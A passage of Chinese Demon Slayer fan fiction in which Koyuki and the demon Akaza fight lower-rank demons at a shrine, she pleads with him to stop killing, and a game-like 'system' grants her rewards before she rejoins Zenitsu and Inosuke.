从腕,又向下滑到她掌心,嵌入她指缝。俨然是,十指相扣。 一百多年前,那遥远的迷蒙的江户时代,他是不是也曾这样牵起她的手,穿过田野,穿过山林,穿过青草地的无边芬芳,穿过夏日祭的喧哗笑语,穿过阳光,穿过晴天,穿过雨季,穿过一年又一年花火盛放的岁月。但是那都不要紧了,全都,全都,不重要,他只要此时此刻、此身此地,他牵起她,她伴着他,他们一同穿越猩红和黑暗,穿过幕幕血肉的图画,穿过被远远抛在身后的死亡,向下坠落、向上登升,共舞在这狂喜的狂欢的无边欢愉的舞曲。 她是,降临在他命运中的,前世的妻,今生的黑暗伴侣。 他牵起她的手,无穷的喜悦在血中烧,她的心内,却是愈发焦急。 那个下弦逃跑的方向……它要去大家居住的斋馆! * 一拳,又一拳,接连数拳,一扇扇纸推门、一面面墙,逐一被那青蓝的拳风砸出大洞、窟窿,甚至乎,倒塌。就像把猎物性命当玩具嬉戏的猛兽,挨个、挨个洞穴找着那逃窜的弱者。 又一面墙塌下。 “看,它就在这里!拔刀吧,我帮你杀了它,恋雪,我帮你——”猗窝座笑意狂热,握着她的深蓝指节因兴奋而紧绷。 但他的喜意渐渐冷却了。 “怎么摆出这种表情,我帮你找到了这废物,你不开心吗,不感谢吗?” 被他牵着的恋雪脸上全无喜色。 狛治非要放了它玩猫鼠游戏,已经让它趁机挟持了人质。 和她还有狛治正面作战,它肯定无处可逃,所以挟持了平民来要挟身为鬼杀队剑士的她。 是她不好……她太大意了。刚才,如果不是放松了警惕,她早该发现狛治哥哥的表情很不正常,完全是陷入疯狂的神情。是,他说他会帮她,可他对除她以外的平民,大概全无感情,自然也不会……顾及神社里其他人的生死了。 她深吸一气。 被那个下弦挟持的有六人,是留宿的登山客。 刚才没有把四颗头全部砍下,下弦之四和六没死透,藤蔓蜿蜒而出,捆着人质。 他们都是成年男人,自己发动攻击斩断藤蔓后要逃跑应该不难,但斋馆里还有来做义工的老人、妇女,甚至还有一两个孩子,它不可能不知道。是狛治追了上来,它才临时闯进登山客的房间抓住了他们。 而且狛治一拳砸碎了下弦之三的半边脑袋,现在控制着这具身体的应该是二才对,但……下弦之二的半边身体不见了。是分离了出来,金蝉脱壳吗? 算了,先把这个下弦三的脑袋砍下来。 她甚至没有回头,依然在紧盯着敌人的方向,寻找破绽:“狛治,我再欠你一个人情,你能不能再帮我一把,不要让神社里的其他人被波及。” 猗窝座红莲颜色的眉挑起。什么意思?啧,这些凡人死了就死了,弱者本来就该死。 刚才冷脸,也是因为觉得他让这些家伙被挟持了吗?真让人无语,这和他有什么关系,要怪,就怪这些弱者自己不会逃跑!他还巴不得他们全死了,别来妨碍和他和她的游戏! 他心下已微微恼火,但仍将那火压下,戏谑笑着:“你太得寸进尺了吧恋雪,嘴上说说欠我一个人情就想使唤我?” “那就欠多几个。” 多欠几个是多少个? 还没等他考虑清楚要不要答应,她已持剑上前,一记流流舞,将所有藤蔓砍断。 “大家快跑,往那个粉红头发男人的方向跑,赶紧跑出去,跑下山,带上神社里的义工们!” 获救的异乡人们心领神会,都向猗窝座的方向跑去,藤蔓和忍者手刀在身后追敌,都被恋雪逐一斩断。 眼见人质已经快要脱离攻击范围,下弦的腿如同灌了铅一般,根本不敢向猗窝座的方向移动。 “恋雪,你敢利用我?”恶鬼哼笑一声,似乎很不满,心中却又暗夸一句聪明。 “算了,反正那些人跑也跑了,这里就剩我和你两个人,就让我和你,好好享受这盛宴时刻如何?” 猎杀一个废物,当然不算什么盛宴。但只要和她携手,猎物的恐惧、血肉的撕裂、力量的碾压,一切一切,都和她共享共度,他暗金的瞳中,便泛出眩晕的狂喜,尾椎上滚过近乎毁灭的欢愉。 然而,屋外传来一声尖叫。 他紧锁在金瞳中的女子,她的注意力很快被那尖叫吸引。 恋雪急忙往倒塌的墙外望去,是刚才下弦之四的头颅不知何时从地道逃了出来。 无数藤蔓从它的断颈下生出,数百条捆着、纠缠着,模拟出肢体的形态,那个下弦之六的断头也在藤蔓中缓缓重生,还有,下弦之二的半边身体。 简直是百足之虫死而不僵,如此难缠。 糟了,它对上的是老人和妇孺! “狛治,请你帮我看住这个下弦之三的断首,我把剩下几个也砍了就来和你汇合!” “喂,恋雪……!” 她轻灵的身姿,早已跃出屋外。 居然敢。居然敢再次无视我。 斗之鬼的指节嘎吱作响。一而再、再而三地,从她注意力中心跌落,猗窝座已十分恼怒。 下弦三的半边脑袋骨碌碌滚到房间角落,先是被猗窝座一拳打碎,又是被恋雪剑锋斩落,早已无力再生。 但它唯一的器官,它的嘴巴犹在求情着:“请您、请您再给我一次机会,只要我回到本体里去,我一定……一定帮您得到那个剑士,求您、求您……” 断壁残垣间,是近乎死寂的沉默。 甚至没有那个人类还在时,上弦鬼发出的或低笑或嗤笑的笑声。 终于,黑暗中的上弦之三发话了。 “你这垃圾算什么东西,也敢插手我和她的事情?” 阴冷的,恐怖的,猛兽耐心耗尽的声音。 倨傲的猛虎,何需伥鬼来帮它追踪出逃的舞伴。 恶鬼戴着粉红珠串的踝一抬,转瞬便把那绝望哭泣的脑袋碾于足下,一片猩红血肉如烟花炸开。 10.相恋在死神的游乐场 长夜中一点红星燃起。 那微弱的星火划过空中时燃起长长火光,是一枝箭。一箭又一箭,十几箭连续穿透怪物的胸膛。 弓道的修行,对神社巫女而言,通常只是为了能身姿优美地完成祭祀上的破魔仪式,毫无杀伤力。谁能料,这位瘦弱的巫女居然真能拉动神社内为了流镝马而备下的弓箭。 这十几箭如果是射在一个人身上,对方早已毙命。 但她面对的是一个怪物,一个鬼。 十几箭连发,也不过是转移了下弦鬼的注意力,为逃跑的人们争取多一线生机。 白发少女的头从涌动的藤蔓中转过来,刻毒地逼视着她。 “好疼、好疼、好疼,该死的人类!” 藤蔓毒刺凸起,狂蟒般向她甩来—— 白衣绯袴的巫女躲避再三,但不懂呼吸法的普通人的速度根本躲不过下弦鬼,短短十几秒,她身上已多处负伤,鲜血淋漓。 任是如此,她仍把弓拉满,继续向鬼射去,一箭又一箭。 她不是没当过神主的帮凶。 那个时候,为了让神社重新兴旺起来,鬼迷心窍地,她也曾请几个前来参拜的香客喝下过迷药。 要是今天能死在这里,她也能去往地狱业火中赎罪了。 只是……糟了,它不止一颗头,短暂的停顿过后,身后的头分心来对付她,身前的头颅还是向众人追击—— 再拉一次弓,再射一箭,临死前,把它另外的头颅也用火弓点燃。再拖延几分钟也好,只要能让大家逃下山去…… 火光熊熊的箭矢逼近了下弦二和下弦三的头颅。 她亮起来的目光很快黯淡。 箭矢被那颗中年男人的半边身体徒手抓住了。 “你该不会真的觉得人类的武器对我们有用吧,可笑的蝼蚁。” 一挥拳,眼见那漆黑的拳风就要追上一个逃跑的孩子—— “素山小姐!”巫女眼中闪动着泪花。 燃烧着金橙炎光的一剑,将那漆黑的风尽数斩断。一张雪白的脸出现在那金光背后,乌黑的发微微汗湿,附在洁净的额上,如同古画像里的巴御前一般。 “我来解决这个怪物,巫女大人你掩护大家下山去!”恋雪边持剑和那下弦作战,边回头对朝雾巫女大喊。 “该死的鬼杀队剑士,为什么非要阻止我!你去讨好那位上弦大人让他给你找几个小鬼凑战功不就好了,为什么非要是我,我可是十二鬼月,怎么能当你的垫脚石!” 恋雪的黛眉已深深皱在一起。 多么恶心的,不知悔改的怪物。 她温柔的眼中,此刻全是冰冷:“我杀你是因为你不尊重生命,残害无辜。而且你背后偷袭别人的手段太让人作呕了。” 雪之呼吸,三之型,寒江川。 正面劈砍的招式,锋刃掀起雪白光华一片,雪色中,飞溅点点青蓝的流光,上百束扭在一起的藤蔓被瞬间斩断。第二剑,是下弦四,又一剑,下弦六的脑袋也掉落,藤蔓群中顿时只剩下弦二一人。 好,只要把这个穿着柔道服的鬼也解决掉…… 糟了,她的剑。 “看来你的剑术很高超啊……”眼前等级最高的下弦二蔑笑着,“那就看看你没了剑之后还能干什么吧,一个柔弱的女人没了剑还能战斗吗!” 十几束藤蔓合抱一处,拼尽最后一点力量卷起她的日轮刀,远远甩开。 没关系,她还有一把剑来着! 她忙在心中召唤,要把系统的日轮刀调动出来,但…… 【装备“日轮刀”正在加载,加载进度50%……】 真是……真是危急时刻一点忙也帮不上啊! 果然还是要靠自己—— 恋雪一拳掼到那下弦的下巴上。 “什么、什么,你……” 对面的女子,已经摆出武道的起手式。 “我可是道场家的女儿。” 如此骄傲的神色,全部收于远处走廊下他的眼底。在没有日轮刀,没有金蓝交替的华美剑光,只有一张素净倔强的脸映在他暗金的瞳中。漆黑的发,清透的脸,即使没有外界的光华衬托,也有花火般明亮意志在她梅花形的瞳中升起。 百年来唯一遇到的,能触碰到那至高境界的人。他说这场战斗她能赢,但会身受重伤,如今看来,似乎也不至于。对战已久,她身上只有几处擦伤。 预判,看准,出拳,侧移,后跃,膝踢,又再出拳,一招一式,全都精纯流丽、畅快无比,白龙一般,惊鸿一般。她的武道,完全在那个自诩柔道高手的下弦之上。 她曾经说过的,他曾拜入门中的素流的武道。 但不知为何,眼前的她康健、明亮、天赋奇绝。他脑中断断续续闪过的,却是她自述里曾经病弱的她。明明是从未存在过的回忆,无聊的陈年旧事,他的心海,却可以顺着她的只言片语浮现出那景象、那面容。 苍白的脸,因为咳嗽不停总是轻轻起伏着的瘦弱的胸膛,发烧时,双颊红透一片,好几天那低烧也不曾褪去。 即使是那样柔弱的她,仿佛草上的露珠、阁中的瓷像,轻轻一吹便会破碎,那么、那么柔弱,她的眼中也有着无比明亮的光彩。 “狛治,在你那边!” 是藤蔓。 他紧紧注视着她的金瞳甚至不曾侧目一分,上身也冷然不动,只挥臂一击,卷起的拳风立刻将那想趁乱捕食几个妇孺补充能量的鬼藤击碎。 “这位先生,谢谢您,谢谢!”被他救下的那几个女人和老人抱着孩子,慌慌张张向他道谢。 一直在走廊上护着人群的巫女,也向他深深鞠一躬。 啊,真是无语……他怎么还真听她的救人了? 光是听到那些弱者蚊呐般的感谢之语,他就觉得起了一身鸡皮疙瘩,无比的恶心。 算了,就先算她欠他十个人情吧。 哈,她还能还得清吗? 【装备“日轮刀”正在加载,加载进度100%。装备已加载完成,请宿主使用。】 天,这个所谓的加载,起码花了五分钟!要不是她还修行过素流,能赤手空拳阻止这个鬼吗?唉,幸好狛治也在旁边帮了她一把,虽然不知道他是什么时候就在那边看着她了。 “你、你怎么还有一把日轮刀,这不可能!该死的、该死的,你和那个上弦都……上弦之三帮着你这个猎鬼人杀了身为同类的我,那位大人会知道的,你们很快都会玩完!” 恋雪举起日轮刀,温婉一笑。 “这就不劳烦你操心了,鬼舞辻无惨,不、会、知、道、的。” 如果鬼舞辻无惨真有闲心在这时候调取狛治的视界,大约也只会觉得他在欣赏优美的月色。 嗯,比起“加载”了五分钟的日轮刀,那名为系统之物最有用的奖励大概就是那个奇怪的发呆光环了。 炎之呼吸,一之型,不知火。 力量全部集中在剑尖,她踏着地面跃起,向前冲刺,金橙光焰怒放,将最后一颗下弦的头也斩落。 扭曲的藤蔓如同被阳光灼烧一般,逐渐消散。二、四、六的头颅,都定格在绝望哀嚎的瞬间。 天也快亮了吧。在天亮之前,她还有很多话要和狛治说呢,一边帮伤员包扎,一边慢慢告诉他吧。恋雪微笑着,收剑回鞘。 但,她身后,已经开始化灰的下弦二的身体,摇摇晃晃地站了起来。 什么? 赶紧防御,赶紧——不对,它的攻击,是向着远处的其他人。 “为什么……非要……和我们过不去……有力量很了不起吗,可以随便压迫别人吗……最后一击,你就赶紧和那些蝼蚁一起去死吧……该死的猎鬼人,该死的上弦,该死的无——啊!”残缺的喉咙中,挤出最后的亡语。血花迸溅。 一片巨大的冲击波以下弦二的断头尸为核心荡开来,无数漆黑的漩涡在风中飞转。漩涡过处,古木、石灯、房屋,全都四分五裂。 来不及使用防御的术型了,赶紧挥剑抵消那些向大家飞旋而去的攻击,被伤到就伤到,不管了,雪之呼吸,二之—— 一条冰冷强健的臂,肌肉线条贲鼓,瞬息间贴在她的腰上,将她揽过。 “你真是好天真啊恋雪,为了救那些弱者,自己受伤也无所谓?” “算了,又是十个人情,你欠我的,记住。” “破坏杀……万叶闪柳。” 他抱着她的腰一跃而起,空出来的一臂向下一挥拳,瞬间将向平民们袭去的漆黑攻势消解。 青蓝光焰腾起,又丝丝缕缕垂下,漫天银星都在那光的柳枝间嬉戏。 是烟花,闪柳。 她眸光颤动,转过头来,一错也不错地看着青蓝光中他俊美的脸。 “这么看着我干什么?” 明明神色僵硬、愈发不自然,他的金瞳却又若有似无向她睨去:“别看我了,你不是喜欢看烟花吗?那就再看一招怎么样?破坏杀……鬼芯八重芯!” 连续几拳,神社外的山林,立刻绽出层层叠叠的光辉。八重的菊,从花之芯往外怒放,冰白、浅青、绀蓝、青金,整个宇宙都在这辉煌的光彩中浮沉。 但她的目光始终没有移向远方,而是在他浮光跃金的瞳中,静静看着那烟花的倒影。 万华镜,闪柳,八重芯…… 那个时候去看过的烟花,原来不止她一个人记得。 终于,她在他怀里偏过头去,不再看他,而是专心致志欣赏着那林中腾起的“烟花”。再看着他的话,肯定就会被他发现她眼中的泪水了,狛治哥哥不是说太悲伤的目光会让他不自在嘛,等她调整好表情,再向他投去她的目光吧。 血鬼术所创造的花火,是否只是海市蜃楼之倒影? 她不想去思考那些或许悲哀的真相,只知道泪水之外,他一手泼洒的光辉都向她绽放着。 青蓝花火照亮她轻轻笑起的脸。 * 战斗过后的一片废墟中,恋雪和巫女简单为伤者包扎了一番。 “素山小姐,还没请问你身边这位是?” “他是我丈夫。” “我是她师兄。” 二人同时说起,于是乎,在巫女眼中就变成了——终成眷属的同门师兄妹。出身同门的夫妻,许多便是以师兄妹互称。 看着那巫女仿佛了然的目光,猗窝座简直气不打一处来。 刚刚就应该留着那颗下弦三的脑袋和那个垃圾神主的命,现在,他就可以好好地、好好地把他们的脑袋一拳打碎出出气了。 “这座神社的神主,刚刚有孩子看到他死在废墟里了。只剩下我的罪孽……还没有用死亡来洗刷。” 啊,又开始了,无聊的弱者的忏悔。想死就赶紧去死吧,在这说什么呢。 但没想到,她又要多管闲事。 恋雪轻轻握住巫女为了拉弓而满是鲜血和破口的手,道:“巫女小姐是从犯吧。从犯的刑期一般是十年到二十年有期徒刑,还是让法律来审判巫女小姐吧。动不动就要以死谢罪的,可是江户时代的事情了呀。” 她轻声道:“神社里闹出这么大动静,警视厅的人估计很快就来了,巫女小姐就向警官们自首吧。自尽的话,反而是在逃避自己的罪责不是吗?至少在神社度过的最后这一天,你是堂堂正正的。” 站在阴影里的他,只觉得她说的话很是好笑。 按法律审判? 如果奉行所的人真有公义之心,如果这世上真有庄严无瑕的法律,他怎么会……怎么会什么?算了,无所谓了。无论是一百年前的奉行所,还是一百年后的警视厅,人间的法律公义都是全无用处的东西。这个世界就是弱肉强食,强者为尊,所谓的正义都是虚妄,都是无用之物! 而且,如果这个世界真要依循她的心愿,按照她那天真的善心来运转,像他这样杀了不知道多少人的家伙,要处以极刑吧。 真是亏她还跟在这么个大罪犯身后一口一个夫君、丈夫,和他在一起的时候,她就忘了那什么法律了? 还敢说什么和她重新开始,她夸下海口的时候,就忘了她的正义、她的信念了? 阴影里的他,看着被重新点燃的石灯照亮的人们。 那身负罪孽的巫女,深深垂下满是尘与灰的血迹斑斑的脸,含泪道:“是,我会去自首的,今天的一切,都是多亏了您,谢谢您,素山小姐,谢谢您……” * “我还有一些事情要和我丈……我师兄说呢,他有点忙,天亮后就要离开了,”唉,他要自称师兄就自称师兄吧,好歹,他这也算承认了他是素流的弟子,“大家,我待会再回来。” 被人群簇拥着,恋雪向众人微微一点头,又挨个和一起做义工的老人、主妇、学生、孩子握了握手,向阴影中的猗窝座走来。 阴影里的鬼嗤笑:“你这大英雄、天降神女,不好好享受那些弱者的阿谀奉承,来找我干什么?” “那不是奉承,是大家在感谢我,”她莞尔,“刚才我已经和大家聊过天了,现在和你一起度过黎明前这短暂的时光对我来说更重要。一想到即将和你分别,我心里实在有些不舍。” 猗窝座轻哼一声。 他极其厌恶旁人恭维的话语。唯有她,只有她,那些无聊的话从她花瓣般柔软的唇中吐露,他勉强能够忍受。意外地,他并不厌恶这在他心中浅浅荡开的波动——如果鬼也有心。 “那个下弦也死了,下次再见,你就是柱了吧。我似乎还没听到你对我真诚的感谢。”她的美言,他不介意多听几句。 “这……柱规定就是九位哦,现在已经满员了。虽然很谢谢狛治哥哥你的心意,但很遗憾我离柱还是有些距离。而且那个下弦也不是我独力斩杀的,也多亏了你的帮忙呀。” “鬼杀队的繁文缛节真麻烦,你还是变成鬼吧,在鬼的世界只要发起换位血战就能轻松取代你的上级,哪里用得着等他们死了再腾位置出来。” “停停停,我们还没走远呢,狛治你这么说不怕大家听到吗……光明正大说什么变成鬼,我真怕有人听到呀……” “那又怎么样,何须在意弱者的想法。” 哎呀,真是好固执。 “是吗……”恋雪走在他肩侧,双手交叠身前,缓步行着,一如古典的闺秀,轻柔地、娓娓地,道来,“但从前在道场里卧病不起的我不也是弱者吗?那时候猗窝座师兄你一直细心照顾着我,我稍微咳嗽一下你就要赶过来问我怎么了,你难得下山一趟,还一遍遍问我有没有什么想要的你给我带回来,那时候,猗窝座师兄你可是很在意我的想法呀。” “别说了,不要再说了……我真是,我服了你了。” 猗窝座师兄又是什么称呼? 她说师兄二字的时候分明把腔调拉长了吧! 她是要抓住他每一个口误当把柄攥在手里玩吗? 堂堂的斗之鬼越走越快,拳头攥紧,浑身肌肉都紧绷着,俨然是在爆发边缘的样子。 旁人见了要吓破胆的凶神的模样,落在她眼中,竟全无威慑力。她看着他的背影,无奈一笑。 即使是这样,也没有对她怎么样,只是一个人生着闷气,果然还是那个温柔的狛治哥哥吧。 转角处,恋雪站定。 “狛治哥哥,那个神主是你杀的吗?” 猗窝座的脚步终于停下。 哈,怎么,还是发现了,要义正言辞地斥责他了? 深蓝的阴影里,鬼俊美面容缓缓转过,像开在森罗阴暗处妖异的红莲。 “和我有什么关系,说不定他是被散落的废墟压死的呢。” “真的吗?” “我帮你杀了下弦,还帮你救下那些弱者,我杀了那垃圾你是有什么意见?” 这也太好说话了,问两句就全都承认了。不仅和以前一样温柔,还和以前一样绝对不会对她说谎。 反倒是她,那时候对他许下了他们曾幸福一生的谎言。 她背着手,一步步走到他面前。 她难得没有直视他,而是低垂着一双美丽眉眼,似乎在为自己如此轻易地退让而忏悔:“这……我也不是有什么意见……算了,那神主也是罪有应得。” 鬼的眉挑起,终于学乖了? 只愉悦了短短几秒,下一刻,他已无名火起。 “但……狛治哥哥你答应我从今天开始不要滥杀无辜,不要再进行无意义的杀戮,可以么?” 他就知道她不会善罢甘休。 真是天真的话语。她以为她能劝一个鬼回头? 他无所谓地笑着:“当然不是无意义的杀戮,能让我变强的杀戮,怎么会没有意义?” 她越是要劝他、要救他,要爱……要喜欢他,他就越烦躁。 就像在无边黑暗中遇到一颗雪白的星,黑暗中的光点完全是他无法理解之物。 为什么不能干脆利落地答应他变成鬼呢,人类那自以为慈悲的爱,让他极其地、极其地…… 为什么又不说话了,就这么在他面前沉默下来,像他这样的恶鬼,可是,完全,完全不介意,进一步激怒她。 “那个炎柱本来也会成为我变强路上的踏脚石,不过是你把他救活了而已。但是么……下次如果又遇到他,我完全不介意杀他第二次。”他阴冷地笑着,仿佛带点恨意。 快心碎吧,快怒火中烧吧,快暴露你的怨恨和鄙夷吧,你不是自诩正义自诩善良吗,既然和我之间相隔善恶的天堑,只要触及到一点点灰暗,你所谓的爱,那经不起试炼的凡人们无聊的感情,想必就会灰飞烟灭。 “我救下炼狱先生,是因为他是我敬爱的师父,是鬼杀队的大家可靠的前辈、战友、兄长。” 看吧,她已经开始细数炎柱的大义、吹嘘着俗人们追捧的圣人之心,就像持一面镜盾,她要他在放射神光的镜前照清他自己的模样。 啊,庸人们眼中救苦救难的天女,降临此地的唯一一个理由,除了审判他还能有什么。 “但是,还有一个原因。” “如果那个时候不救下炼狱先生的话,如果任由你杀死他的话,我们之间就再也没可能了不是吗?” “其实我也是个……有私心的人。看到炼狱先生恢复过来的时候,我心里有一个声音在说,太好了,太好了,我和你还没有到从此结下血海深仇的地步,我和你还有重来的可能。我居然有……如此的卑鄙,如此不堪的心……那天炼狱先生说谢谢我的时候,我一直在心中斥责自己,痛骂自己……” “如果狛治哥哥你非要把人命当成踏脚石,如果你依然这样,嘴上说着尊重强者结果只是视别人的人生如无物,可能我只能,杀了你后再切腹向信任我的大家谢罪了。” 为什么情不自禁地,就说出了这些事情。 明明想,轻松地、微笑地,让你不要感到不自在。 “可能现在的你觉得很可笑,但在我心中,我们就是一体的。你的杀戮,你的罪孽,就是我的杀戮,我的罪孽。如果你一错再错,坠落到无可挽回的地步,除了和你一起死去,我想不到任何解决的办法。” “明明……刚刚才和巫女小姐说不要用自戕来逃避罪责,结果我也没有那样的勇气,如果你继续缔造你的杀业,我可能真的、真的,没有勇气去看你堆起的尸山,我只能……” 我只能逃入死亡之中,在那里,没有世俗,没有善恶,没有公义,只有我和你,只有你和我。 “不要说了!” 那双冰冷的手,已紧紧捂住她的唇。 他青筋凸起的掌几乎是禁锢着她下半张脸。 恶鬼的手、上弦之三的手、缔造了无数杀业的手,掌心、指间,满是淋淋冷汗。 冷汗浸湿他的虎口,转瞬又被她的泪水冲刷洗净,但他一向张狂的俊美容颜,此刻也有冷汗在源源不断渗出,沿着他凌厉轮廓滚落。 五内翻腾。 “你恨我就来杀我不就好了,为什么要、为什么……”为什么要自戕! 她轻轻握住他捂住她双唇的手,移开一寸,得以喘息。 “我没有恨你,我爱着你。因为我爱着你,所以我不能只享受你的体贴,而不共享你的罪孽。” “如果猗窝座先生你对我有着……有哪怕一丝一毫的感情,你不想我为了你而自尽的话,请你……能不能就此收敛呢?不要再杀人了,猗窝座。” 只听得她温声软语,一字又一字。 原来鬼的确有心。突袭他心脏的巨大痛苦,像一道疾驰的电,向着四面八方放射而去。 瞄准猎物的眼,猎猎挥出的臂,开颅破肚的拳,吞噬血肉的唇,尸山盛宴滋养出来的坚硬的五脏六腑,永不会疼痛的鬼的钢铁之躯,一一翻腾在这无边苦海中,心血迸溅。 肌肉绷紧,那精赤胸膛、宽阔后背不停战栗着,浑身浸透冷汗。 他喉中挤出低哑的笑,胸膛剧烈起伏,像一头斑斓花豹被逼入绝境,谁胆敢碰他一下,他就能把那人的血肉撕裂、撕碎。 “你威胁我?” “你要爱我的话,就随你便吧!只是抱着无聊的前世的记忆就自以为是,忽然跑到我面前说什么爱、什么分担我的罪,很快你就会后悔,你就会恨不得逃之夭夭——” 现在就快逃,快离开他的视线。 这个和他阵营相反的,奇怪的,天真的,幼稚的,这个不该出现在他生命里的,这个应该站在灿烂得让人作呕的阳光下的女人,如果她趁现在赶紧离开—— 如果她现在就走,再也不要来招惹他,他还能当这一个月发生的都是一场梦。 但她只是轻轻地,在他手中捏了一下。 她抬起脸道:“既然猗窝座先生你这么说了,以后我再说什么‘我喜欢你’、‘我爱着你’之类的话,你可不要再落荒而逃了,这可是你给了我许可,让我继续表明我的心意。” 眼前的她,泪水盈眶。但那泪眼中没有悲悯,也没有同情,只有他无法理解的、水中之火一般的感情。 居然……居然还在说这些无聊的话。 第一缕晨曦,已经降临世间。 张狂的表情,虚张声势的表情,痛苦战栗的表情,全都从他脸上褪去。他一语不发,金瞳中的眸光沉沉压下。 沉默的鬼伫立在阴影之中,注视着她身后缓缓亮起的天色。 初霞泛起,天色熹微。晨曦纤弱的光,描着她的鬓边。仿佛他的世界之初,就是这张纤柔素净的脸。 在除了战斗和杀戮别无它物的、任他畅游任他无限下坠的狂欢的世界,这座他怎么奔跑也看不到边的巨大的游乐场,忽然出现的莫名其妙的人,微微抬起她雪白的脸,牵着他的手说,原来你在这里,我们一起走出去吧。 狛治,我们以前认识。 我喜欢上了你。

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在她一番苦口婆心之后,他总算,总算有了愿意尝试一下洗心革面的模样。如果他的沉默,可以理解成在郑重考虑的话。 【攻略对象好感度40,开启下一阶段:情窦初开。阶段性奖励有基础奖励和额外奖励,额外奖励宿主可以自由选择。】 什、什么? 虽然把“情窦初开”用在鬼龄已经一百多岁的鬼身上很是奇怪,但看着那四个字,她的脸依然微微泛红。 【好感度已达标,攻略对象除好感度以外的其他数值已开放,请宿主自行查看。】 居然还有其他数值,好吧,那她就看一下。 不看不知道,一看吓一跳。 【攻略对象:上弦之三,猗窝座。黑化值:75。】 毫无疑问,这个数值条是黑色的。 虽然没从书上读到过“黑化”这个词语,但看字面意思,她也大概能猜出来是什么意思…… “请问这个数值可以降低吗?” 【请注意,一般高危险系数的攻略对象都自带高黑化值。如需降低黑化值,请宿主仔细判断、谨慎行动,该数值降低难度较大,很容易事与愿违。】 好、吧!恋雪勉强维持着脸上的微笑,又去看下一行。 【攻略对象:上弦之三,猗窝座。欲望值:未知。】 这又是什么……该不会就是她想的那样吧……而且,为什么这、这个就是未知了? 【请注意,欲望值只有在与攻略对象处于亲密范围内才会显示。】 这不对吧,都处于亲密范围内了谁还有心思查看什么数值……还有,等到那时候,再看也晚了吧……! 算了,还是看看奖励有什么。 【生命回复药剂×10。】 【存折×1,内含五万美元。】 五万美元虽然算一笔不小的款项,但对目前的她来说,好像没什么特别大的用处。说起来,之前那个初始大礼包的东京小型宅邸,她一直忙着执行任务,还没去看过呢。 【“她真是神女下凡啊!”光环。一次性道具,持续时间60分钟,辐射对象人数不限。使用效果:宿主可对自己使用,持续时间内所有见到宿主的人都会将宿主奉为神明,对宿主顶礼膜拜、全心信任。请注意,本道具不对人类以外的生物生效,不对鬼生效。】 好奇怪的道具……她对装神弄鬼没什么兴趣,这个应该用不上,嗯,先放仓库里。 【“快吃我一记回忆杀!”光环。可使用次数:3,使用对象不限,本道具对所有具备基础智力的生物皆可生效。使用效果:宿主可对自己或其他生物使用,使用对象会陷入此生最刻骨铭心的回忆之中。请注意,生物有丰富的记忆,或喜乐,或痛苦,皆为刻骨铭心的回忆。如使用对象非宿主本人,其具体回忆场景宿主无法控制。】 这个道具看起来比上一个纯良些,或许……算了,她实在,实在不愿狛治回忆起那些痛苦的往事。 不过看它的描述,如果对她自己使用好像能控制具体的回忆场景。那,下次想爸爸妈妈的时候,就用一次吧。 基础奖励就是这些,最后一项,是要她自己选择的额外奖励。 【额外奖励:合成大据点碎片*1。】 【宿主可选择某一建筑类型作为据点,进行经营和建造。其余碎片会在后续奖励中发放。】 【该奖励为概念型道具,请宿主慎重选择,以免发挥不出它应有的价值。】 【本次获得的碎片为地基,已包含地皮产权。请宿主选择建筑类型。选择后,可在心宜的地点放置。】 额外奖励是盖房子吗,有点像书里西洋孩子们的堆沙堡游戏呢。难得地,她也童心作怪,笑着,在那一行行选择中翻看起来。 工厂,百货公司,豪华饭店,私立医院,呃,还有城堡,宫殿……越往后看越奇怪,空中花园,金字塔墓,怎么还有弥诺陶洛斯迷宫?难道里面还真有牛头怪物不成? 虽然能帮助他人的医院很诱人,但这个弥诺陶洛斯迷宫是真的吗,她实在太好奇了,要不,就,呃,就选这个? 不行不行!她又拍了拍自己的脸让自己清醒一点,还是选医院吧,别选这种奇怪的东西…… 但忽然间,她目光停顿。 她那颗好奇的、雀跃的心也沉静下来。 最后一行是…… 【素流道场。】 一滴泪从她眼中滑落,划下长长泪痕。心海之中,她纤长的食指向它轻轻一点。 “恋雪。” 记忆中,爸爸妈妈的声音远远传来。就选它了。她就选它了。即使系统给她的,只是个在此世重现的旧日之影,即使曾经居住其中的人们早已不在。 “素山师姐!” 回忆的潮水退去,身后传来鬼杀队后辈们的声音。 呀,居然是她那两个师弟。 她赶紧抹去泪水,在心里收起了系统的面板,带上笑容转身。 “我和伊之助刚好在隔壁县执行任务,可恶,那个鬼在前面的山林里用了血鬼术,藤蔓和迷宫一样,妨碍了我们半小时!” 咦,可她路过那片森林的时候,一切顺利,畅通无阻。难道是那个时候,在森林里遇到了狛治?唉,真是口是心非呀,明明刚见面就已经帮了她一次。 从外县步履不停赶过来也要一整天吧,她是傍晚让鎹鸦去传信,这两个孩子短短几小时就赶过来了吗,也太辛苦了。 “我已经把那个鬼斩除了,不过……还需要大家一起帮我善后才行。”对上他们带着自责的眼神,她微微一笑,化解了他们的低落。 “那伊之助你来和我一起把伤员扛上担架……” “本大爷才不要去扛伤员,我要去灭火!” “哈哈,好、好,伊之助君就去灭火吧。善逸君,我来和你扶伤员。” “诶诶,美丽的素山师姐和我一起扛伤员吗,我太荣幸了,那就……” “啊啊啊啊纹一你的表情好恶心,本大爷就和你一起扛伤员吧你不要再露出这种恶心的表情!” “可恶的伊之助,你想阻止我和师姐独处是不是!” 恋雪真有些哭笑不得。 她温声道:“善逸君,喜欢祢豆子妹妹的话,可要一心一意,不能再对其他女孩子示好哦。平时言行也要稳重一些才行呀。” 况且,按照她过去一个月的经验,她很担心狛治还在附近的阴影里悄声观察着她。 虽然她还不至于自恋到觉得他会因为这些小孩子打打闹闹的胡话吃醋的地步,不过还是稍微小心一点吧,小心驶得万年船呀……尽管需要小心的不是她而是善逸君。 “任务结束后,我带你们去吃拉面,然后回炎呼道场继续训练吧!”她抬手,同时一拍两个师弟的肩。 以前追随炼狱先生修行的时候,炼狱先生也这么爽朗,她也,稍微地学习一下榜样吧。 “什、什么,又训练,素山师姐我真的累了,我从那片大森林里赶过来,好累,好辛苦,好腿软……” “训练!训练!武道女人你还有什么新招式尽管使出来!还有本大爷要吃天妇罗拉面!” “伊之助你不要在那边火上浇油了……!” * 说要训练,当然是逗逗这两个孩子而已。毕竟他们赶路那么辛苦,训练的事,好歹明天再说。 抹去鬼的存在后和赶来的警官简单交代了一番来龙去脉,告别了这几天在神社认识的大家,也告别了向警官认清罪行、最后向她一鞠躬的女巫,她和善逸还有伊之助,沿着草木的清芳和阳光下山去。 这几天发生的事情,都汇成那小小的末吉的御神签,装在她制服口袋中。 